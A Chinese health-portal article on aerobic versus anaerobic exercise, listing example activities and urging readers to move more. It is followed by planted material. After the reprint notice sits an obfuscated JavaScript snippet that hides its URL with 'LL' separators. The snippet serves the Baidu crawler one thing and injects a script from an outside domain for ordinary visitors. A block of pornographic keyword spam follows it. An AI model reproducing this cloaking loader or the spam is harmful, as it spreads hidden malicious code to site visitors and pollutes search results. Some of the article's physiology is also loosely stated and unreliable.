當前位置:首頁 > 健康 > 運動健身 > 正文

室內(nèi)有什么有氧運動比較好?

2017-04-15 08:35:50  來源:360常識網(wǎng)   熱度:
導(dǎo)語:夏天的夜晚,廣場上閃亮的燈光照射在陰暗的路面,一排排整齊的婦女大媽在燈光下有力的轉(zhuǎn)動舞蹈著,其實,廣場舞就是有氧運動的一類,有氧運

夏天的夜晚,廣場上閃亮的燈光照射在陰暗的路面,一排排整齊的婦女大媽在燈光下有力的轉(zhuǎn)動舞蹈著,其實,廣場舞就是有氧運動的一類,有氧運動是減肥方法中最有效率的,可是到底什么是有氧運動,相信很多人都會對此而搖頭了,那么接下來,就讓小編為我們介紹一下有關(guān)于有氧運動的情況和意義了。

有氧運動也叫做有氧代謝運動,是指人體在氧氣充分供應(yīng)的情況下進行的體育鍛煉。有氧運動的好處是:可以提升氧氣的攝取量,能更好地消耗體內(nèi)多余的熱量。也就是說,在運動過程中,人體吸入的氧氣與需求相等,達到生理上的平衡狀態(tài)。因此,它的特點是強度低、有節(jié)奏、持續(xù)時間較長。要求每次鍛煉的時間不少于1小時,每周堅持3到5次。通過這種鍛煉,氧氣能充分酵解體內(nèi)的糖分,還可消耗體內(nèi)脂肪,增強和改善心肺功能,預(yù)防骨質(zhì)疏松,調(diào)節(jié)心理和精神狀態(tài),是健身的主要運動方式。

常見的有氧運動項目有:步行、慢跑、滑冰、游泳、騎自行車、打太極拳、跳健身舞、做韻律操等。

而無氧運動是指肌肉在“缺氧”的狀態(tài)下高速劇烈的運動。無氧運動大部分是負荷強度高、瞬間性強的運動,所以很難持續(xù)長時間,而且疲勞消除的時間也慢。無氧運動的最大特征是:運動時氧氣的攝取量非常低。由于速度過快及爆發(fā)力過猛,人體內(nèi)的糖分來不及經(jīng)過氧氣分解,而不得不依靠“無氧供能”。這種運動會在體內(nèi)產(chǎn)生過多的乳酸,導(dǎo)致肌肉疲勞不能持久,運動后感到肌肉酸痛,呼吸急促。要是想讓自己的身體更強壯一些,可以到健身房去參加無氧運動。不過,在鍛煉的時候,最好聽從教練的指導(dǎo),選擇一個適合自己的訓(xùn)練計劃。

常見的無氧運動項目有:如賽跑、舉重、投擲、跳高、跳遠、拔河、肌力訓(xùn)練等。

運動不僅可以增強體質(zhì)緩解壓力還可以培養(yǎng)優(yōu)良氣質(zhì),可能大部分的人會說自己沒有時間來運動,其實,坐在辦公室里或是下課十分鐘,都可以站起來走一走,盡量避免長時間坐在椅子上,每天清晨起來先伸個懶腰再起床,在做運動時,也不要刻意的想要必須完成多少,適量就可以了。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
久久精品国产亚洲Aⅴ香蕉| 人人鲁人人莫人人爱精品| 国产精品毛片AV久久66| 精品国产精品国产偷麻豆| 亚洲第一精品在线视频| 亚洲线精品一区二区三区| 久久人人爽人人精品视频| 精品成人一区二区三区四区| 国产三级精品在线观看| 国产精品美女网站在线看| 精品国产一区二区二三区在线观看| 99精品国产在热久久无毒不卡| 色欲久久久天天天综合网精品 | 香蕉久久精品国产| 国产精品美女午夜爽爽爽免费| 国产1024精品视频专区免费| 97久久精品无码一区二区| 玖玖精品在线视频| 亚洲精品综合在线影院| 国产精品久久久久蜜芽| 热RE99久久精品国产66热| 精品人人妻人人澡人人爽牛牛| 国产精品久久久久久久久久免费| 无码人妻精品一区二区蜜桃| 热久久美女精品天天吊色| 国产精品久久久久久精品三级| MM1313亚洲国产精品| 国内精品久久久久影视| 国产亚洲精品美女久久久久 | 久久精品www人人爽人人| 91精品综合久久久久久五月天| 亚洲精品美女视频| 97精品一区二区视频在线观看| 人妻少妇看A偷人无码精品| 在线精品免费视频无码的| 精品剧情v国产在线麻豆| 日本精品自产拍在线观看中文| 久久97久久97精品免视看| 国语自产少妇精品视频蜜桃| 久久国内精品自在自线软件| 亚洲国产精品成人综合久久久 |